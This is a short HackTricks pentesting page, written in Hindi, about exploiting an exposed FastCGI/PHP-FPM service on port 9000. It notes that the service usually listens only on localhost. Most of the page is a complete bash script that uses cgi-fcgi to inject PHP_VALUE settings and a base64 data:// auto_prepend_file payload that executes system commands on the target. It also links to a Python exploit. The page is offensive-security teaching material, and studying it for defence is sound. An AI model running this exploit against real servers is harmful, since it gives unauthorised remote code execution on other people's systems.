hacktricks/src/network-services-pentesting/9000-pentesting-fastcgi.md

1.6 KiB

{{#include ../banners/hacktricks-training.md}}

मूल जानकारी

यदि आप FastCGI क्या है सीखना चाहते हैं तो निम्नलिखित पृष्ठ देखें:

{{#ref}} pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass/disable_functions-bypass-php-fpm-fastcgi.md {{#endref}}

डिफ़ॉल्ट रूप से FastCGI पोर्ट 9000 पर चलता है और nmap द्वारा पहचाना नहीं जाता है। आम तौर पर FastCGI केवल localhost पर सुनता है।

RCE

FastCGI को मनमाना कोड निष्पादित करना काफी आसान है:

#!/bin/bash

PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';"
FILENAMES="/var/www/public/index.php" # Exisiting file path

HOST=$1
B64=$(echo "$PAYLOAD"|base64)

for FN in $FILENAMES; do
OUTPUT=$(mktemp)
env -i \
PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \
SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \
cgi-fcgi -bind -connect $HOST:9000 &> $OUTPUT

cat $OUTPUT
done

या आप निम्नलिखित पायथन स्क्रिप्ट का भी उपयोग कर सकते हैं: https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75

{{#include ../banners/hacktricks-training.md}}